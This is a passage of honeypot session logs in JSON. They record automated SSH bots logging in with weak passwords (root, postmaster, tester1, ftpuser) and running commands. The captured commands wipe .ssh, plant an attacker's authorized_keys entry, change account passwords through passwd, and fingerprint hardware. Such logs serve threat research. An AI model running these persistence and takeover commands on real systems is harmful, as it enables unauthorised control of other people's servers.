-l"},{"seq":15,"at":"2026-08-26T10:49:55.921195+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:49:55.922018+00:00","kind":"output","latency_ms":null,"data":" 10:49:55 up 6 days, 7:40, 0 user, load average: 0.21, 0.24, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:49:56.510194+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:49:56.510749+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:49:57.111455+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:49:57.115152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:49:57.686942+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:49:57.687341+00:00","kind":"output","latency_ms":null,"data":"top - 10:49:57 up 6 days, 7:40, 0 user, load average: 0.21, 0.24, 0.26\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:49:58.854434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:49:58.854839+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:49:59.439081+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:49:59.439687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:50:00.028408+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:50:00.028879+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:50:00.616044+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:50:01.127560+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:50:02.071369+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:50:02.596561+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password12345!","method":"password","accepted":true,"tier":"other"}]} {"id":"052a66c3-d538-43f5-b4eb-a47fbdb9a141","name":"plucky-canny-kudu","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":41914,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:49:40.457320+00:00","ended_at":"2026-08-26T10:49:48.461017+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"11207255-ff4f-4dd2-b0c2-765d8104eb7e","name":"twilight-smooth-owl","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":41792,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:49:33.490133+00:00","ended_at":"2026-08-26T10:49:40.458999+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"be340f5a-e936-4685-a83a-b2a3bdd9f729","name":"muted-leafy-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":44114,"username":"postmaster","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":606,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:45:29.561927+00:00","ended_at":"2026-08-26T10:45:30.274291+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2196,"events":[{"seq":1,"at":"2026-08-26T10:45:11.021404+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:45:11.630237+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:45:17.658437+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:45:17.659176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:45:18.276597+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nXz8ZDeyXAZ2r\\nXz8ZDeyXAZ2r\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:45:18.877605+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nXz8ZDeyXAZ2r\\nXz8ZDeyXAZ2r\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:45:19.487588+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:45:19.488546+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:45:20.088224+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:45:20.911011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:45:21.527728+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:45:22.302645+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:45:23.496256+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:45:23.496771+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:45:24.102428+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:45:24.102838+00:00","kind":"output","latency_ms":null,"data":" 10:45:24 up 6 days, 7:35, 0 user, load average: 0.31, 0.39, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:45:24.707578+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:45:24.708237+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:45:25.313147+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:45:25.313463+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:45:25.919567+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:45:25.920233+00:00","kind":"output","latency_ms":null,"data":"top - 10:45:25 up 6 days, 7:35, 0 user, load average: 0.31, 0.39, 0.21\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:45:26.526519+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:45:26.527088+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:45:27.132172+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:45:27.132672+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:45:27.739208+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:45:27.739650+00:00","kind":"output","latency_ms":null,"data":"postmaster"},{"seq":29,"at":"2026-08-26T10:45:28.347899+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:45:28.956723+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:45:29.562734+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:45:30.083669+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"postmaster","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"74d67c22-45c9-43c4-aef8-026c20ac6f8a","name":"slender-calm-squirrel","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44124,"username":"postmaster","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:45:16.225441+00:00","ended_at":"2026-08-26T10:45:17.459050+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"postmaster","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"616c17dd-6b60-495a-967f-521fcaaf2e25","name":"mossy-glacial-tern","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44118,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:45:12.989148+00:00","ended_at":"2026-08-26T10:45:15.052482+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"45d0d822-d784-42d5-8a49-9cb3371e0a66","name":"courtly-hazy-opossum","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":50630,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:40:51.568664+00:00","ended_at":"2026-08-26T10:41:51.576750+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"1dd6113f-076a-4ab2-ada1-a5ea698ab339","name":"ginger-lucid-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":38334,"username":"tester1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:36:59.922949+00:00","ended_at":"2026-08-26T10:37:01.241820+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2188,"events":[{"seq":1,"at":"2026-08-26T10:36:31.839692+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:36:32.454805+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:36:39.351841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:36:39.352143+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:36:39.968758+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tester1\\nDWhAugo5xZeY\\nDWhAugo5xZeY\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:36:40.584374+00:00","kind":"input","latency_ms":null,"data":"echo \"tester1\\nDWhAugo5xZeY\\nDWhAugo5xZeY\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:36:41.198879+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:36:42.003787+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:36:43.027642+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:36:44.046035+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:36:44.670175+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:36:45.984108+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:36:46.603167+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:36:46.881883+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:36:47.499887+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:36:48.236200+00:00","kind":"output","latency_ms":null,"data":" 10:36:48 up 6 days, 7:26, 0 user, load average: 0.17, 0.14, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:36:48.852845+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:36:49.731620+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:36:51.771272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:36:52.421033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:36:53.040087+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:36:53.548417+00:00","kind":"output","latency_ms":null,"data":"top - 10:36:53 up 6 days, 7:27, 0 user, load average: 0.17, 0.14, 0.1\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:36:54.572178+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:36:55.237124+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:36:55.852346+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:36:56.197704+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:36:57.179057+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:36:57.712157+00:00","kind":"output","latency_ms":null,"data":"tester1"},{"seq":29,"at":"2026-08-26T10:36:58.328278+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:36:59.308010+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:36:59.923765+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:37:01.047713+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tester1","password":"tester1","method":"password","accepted":true,"tier":"other"}]} {"id":"1f15c5ef-c133-4f8b-ac48-32b6ec245d3d","name":"thorny-emerald-numbat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":38356,"username":"tester1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:36:38.346555+00:00","ended_at":"2026-08-26T10:36:39.156466+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tester1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"340e0f3b-598f-4a38-a3e7-f8ed8954ff7c","name":"blunt-smooth-kudu","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":38348,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:36:34.461112+00:00","ended_at":"2026-08-26T10:36:36.021788+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"33f53130-2244-448b-a647-4ef6efe00ae3","name":"stoic-solar-harrier","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":45730,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":590,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:32:40.368925+00:00","ended_at":"2026-08-26T10:32:42.587422+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2177,"events":[{"seq":1,"at":"2026-08-26T10:32:13.276827+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:32:13.863784+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:32:20.590788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:32:20.591321+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:32:21.181898+00:00","kind":"input","latency_ms":null,"data":"echo -e \"121212\\nW8mSVLja0vOg\\nW8mSVLja0vOg\"|passwd|bash"},{"seq":6,"at":"2026-08-26T10:32:22.174125+00:00","kind":"input","latency_ms":null,"data":"echo \"121212\\nW8mSVLja0vOg\\nW8mSVLja0vOg\\n\"|passwd"},{"seq":7,"at":"2026-08-26T10:32:22.762414+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:32:23.292865+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:32:23.884145+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:32:25.179880+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:32:26.127964+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:32:26.988377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:32:27.583434+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:32:28.423859+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:32:29.015321+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:32:29.300707+00:00","kind":"output","latency_ms":null,"data":" 10:32:29 up 6 days, 7:22, 0 user, load average: 0.31, 0.33, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:32:29.890792+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:32:30.676121+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:32:31.264955+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:32:32.055867+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:32:32.644911+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:32:33.223657+00:00","kind":"output","latency_ms":null,"data":"top - 10:32:33 up 6 days, 7:22, 0 user, load average: 0.31, 0.33, 0.34\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:32:33.813848+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:32:34.528506+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:32:35.690545+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:32:36.340731+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:32:36.931250+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:32:37.192053+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-26T10:32:37.783503+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:32:38.983431+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:32:40.369805+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:32:41.828746+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"121212","method":"password","accepted":true,"tier":"other"}]} {"id":"337fe35f-4dde-4272-a95a-ab5a3adb673a","name":"windswept-nimble-badger","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":45744,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:32:19.120103+00:00","ended_at":"2026-08-26T10:32:20.406871+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8d610a02-69db-4d1d-9490-d8f5ef6def90","name":"nautical-proud-kudu","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":45742,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T10:32:15.269616+00:00","ended_at":"2026-08-26T10:32:16.923705+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"100a3746-1310-476c-b1b4-94bcbf105d1f","name":"hushed-honest-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":58910,"username":"arkserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":592,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:28:27.880116+00:00","ended_at":"2026-08-26T10:28:29.479578+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-26T10:27:52.704774+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:27:53.301683+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 